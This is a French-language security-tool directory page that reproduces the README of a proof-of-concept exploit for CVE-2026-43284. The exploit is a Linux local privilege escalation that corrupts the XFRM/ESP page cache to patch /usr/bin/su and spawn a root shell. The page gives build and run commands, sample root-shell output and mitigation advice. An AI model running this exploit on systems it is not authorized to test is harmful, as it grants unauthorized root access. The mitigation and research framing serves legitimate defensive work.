Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-43284-DirtyFrag-PoC — Preuve de concept pour CVE-2026-43284 — primitive d'écriture de 4 octets dans le cache de pages XFRM/ESP pour patcher un binaire setuid (x86_64, espaces utilisateurs). Comprend une pré-vérification du noyau + scan SUID. | Kitploit
Outils/GitHubGitHub/jayhutajulu1/cve-2026-43284-dirtyfrag-poc
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationTests d'IntrusionApprentissage et ÉducationExploitation de Binaires
GitHubjayhutajulu1/cve-2026-43284-dirtyfrag-poc

CVE-2026-43284-DirtyFrag-PoC

Preuve de concept pour CVE-2026-43284 — primitive d'écriture de 4 octets dans le cache de pages XFRM/ESP pour patcher un binaire setuid (x86_64, espaces utilisateurs). Comprend une pré-vérification du noyau + scan SUID.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
111il y a 2 moisPas encore vérifié

CVE-2026-43284 — XFRM/ESP 4 octets

CVE Plateforme Type Statut

Preuve de concept d'escalade de privilèges locaux via une corruption du cache de pages XFRM/ESP
Primitive d'écriture 4 octets · 48 itérations · Réécriture ELF 192 octets · Utilisateur non privilégié + netns


Preuve de concept

Vérifications préliminaires et phases d'exploitation sur WSL2 Ubuntu 24.04 Shell root réussi avec vérification uid=0

Gauche : pré-vérification du noyau, analyse setuid et chaîne d'exploitation  ·  Droite : shell root lancé — id / whoami confirment uid=0(root)
Testé sur WSL2 · Ubuntu 24.04.1 LTS · noyau 6.6.87.2-microsoft-standard-WSL2


  ╔═══════════════════════════════════════╗
  ║  SLEY - CVE-2026-43284 dirtyfrag PoC  ║
  ╚═══════════════════════════════════════╝

Avertissement : Réservé à la recherche en sécurité autorisée, à l'éducation et aux tests sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite. Les auteurs ne sont pas responsables d'une mauvaise utilisation.


Aperçu

CVECVE-2026-43284
TypeEscalade de privilèges locale (LPE)
VecteurXFRM / ESP-UDP (UDP_ENCAP_ESPINUDP) corruption du cache de pages
Primitive4 octets par itération (ESN seq_hi)
Charge utileELF x86_64 de 192 octets (setuid(0) + setgid(0) + execve("/bin/sh"))
Cible par défaut/usr/bin/su
Architecturex86_64 uniquement
Privilèges requisUtilisateur non privilégié (utilise les espaces de noms utilisateur + réseau)

Fonctionne même lorsque algif_aead est sur liste noire — l'exploit utilise directement le chemin du code XFRM/ESP du noyau.


Fonctionnalités

Vérifications préliminaires intégrées avant l'exploitation :

  1. Configuration du noyau — vérifie CONFIG_USER_NS, CONFIG_XFRM, CONFIG_INET_ESP
    (lit /boot/config-*, /lib/modules/*/config, ou /proc/config.gz sur WSL2)
  2. Analyse setuid — liste les binaires SUID sur le système (find / -perm -4000)
  3. Exploit — patche le cache de pages, génère un shell root via PTY, restaure la cible à la sortie

Prérequis

Options du noyau

CONFIG_USER_NS=y
CONFIG_XFRM=y
CONFIG_INET_ESP=m   # or =y

Vérification rapide :

# bare metal / VM
grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS=' /boot/config-$(uname -r)

# WSL2
zcat /proc/config.gz | grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS='

Autres

  • Noyau Linux vulnérable à CVE-2026-43284 (voir Statut du correctif)
  • gcc, libc, libutil (pour forkpty)
  • Binaire cible setuid lisible (par défaut : /usr/bin/su)

Compilation

git clone https://github.com/jayhutajulu1/CVE-2026-43284.git
cd CVE-2026-43284
make

Ou manuellement :

gcc -O0 -Wall -o sley-dirtyfrag sley-dirtyfrag.c -lutil

-O0 est intentionnel — l'optimisation peut casser le comportement sensible aux temps de splice/UDP.


Utilisation

1. Confirmer que vous êtes non privilégié

id
# uid=1000(youruser) gid=1000(youruser) groups=...

2. Lancer l'exploit

./sley-dirtyfrag                  # default target: /usr/bin/su
./sley-dirtyfrag /usr/bin/passwd  # custom setuid binary

L'outil exécute trois phases automatisées :

PhaseCe qu'elle fait
1Pré-vérification de la configuration du noyau (CONFIG_USER_NS, CONFIG_XFRM, CONFIG_INET_ESP)
2Analyse complète des binaires setuid système ; met en évidence la cible par défaut
3Sauvegarde de la cible → patch du cache de pages (48× écritures de 4 octets) → génération d'un shell root

3. Vérifier l'accès root

Dans le shell généré :

id
# uid=0(root) gid=0(root) groups=0(root)

whoami
# root

4. Quitter pour restaurer

Appuyez sur Ctrl+D ou tapez exit. Le PoC vide le cache de pages afin que le binaire original sur disque soit restauré automatiquement.

Si la restauration échoue :

echo 3 | sudo tee /proc/sys/vm/drop_caches

Référence des commandes

CommandeDescription
./sley-dirtyfragExploite /usr/bin/su (par défaut)
./sley-dirtyfrag /path/to/suidExploite un binaire setuid personnalisé
makeCompile sley-dirtyfrag
make cleanSupprime le binaire

Exemple de sortie

┌─[ phase 1] kernel config preflight
  → /proc/config.gz
  [+] CONFIG_USER_NS        = y  (required =y)
  [+] CONFIG_XFRM           = y  (required =y)
  [+] CONFIG_INET_ESP       = m  (required =m or =y)
  kernel options OK.

┌─[ phase 2] setuid binary scan
  10 /usr/bin/su  ← target
  found 14 setuid binaries.

┌─[ phase 3] exploit
  [*] unshare userns+netns, register 48 XFRM SA, splice→UDP 4500...
  [+] corrupt               all iterations done
  [+] verify                ELF patch detected

  ╔══════════════════════════════════════╗
  ║  root shell — exit to restore        ║
  ╚══════════════════════════════════════╝

Atténuation

Appliquer le correctif du noyau (recommandé)

Corrigé dansf4c50a4034e6 (mainline, 8 mai 2026)
Introduit danscac2661c53f3 (janvier 2017)

Action : Mettez à jour vers un noyau de distribution qui inclut le correctif, ou compilez à partir d'une arborescence principale patchée.

# check your running kernel
uname -r

# verify fix is present (example — adjust for your distro's package naming)
# apt update && apt install --only-upgrade linux-image-$(uname -r)

Options de durcissement (défense en profondeur)

MesureEffet
Patch / mise à jour du noyauÉlimine le bogue sous-jacent d'écriture dans le cache de pages
Restreindre les espaces de noms utilisateurBloque ce PoC (nécessite CONFIG_USER_NS)
Supprimer les binaires setuid inutilesRéduit les cibles viables (chmod u-s, ou désinstaller)
Lockdown / LSM (SELinux, AppArmor)Peut limiter l'impact post-exploitation selon la politique
Surveiller XFRM + UDP/4500Détecter les enregistrements SA anormaux et le trafic ESP dans UDP provenant d'espaces de noms non privilégiés

Restreindre les espaces de noms utilisateur non privilégiés

Cet exploit dépend de unshare(CLONE_NEWUSER | CLONE_NEWNET) sans root.

# runtime (may not exist on all kernels)
sysctl kernel.unprivileged_userns_clone=0

# or disable at build time
# CONFIG_USER_NS is not set

Note : Désactiver les espaces de noms utilisateur bloque ce PoC mais pas nécessairement CVE-2026-43500 (variante rxrpc pour les systèmes sans userns).

Auditer les binaires setuid

find / -perm -4000 -type f 2>/dev/null
# remove or harden binaries you do not need

Vider les caches après une compromission suspectée

Si vous pensez qu'un binaire setuid a été patché en mémoire :

Télécharger l’outil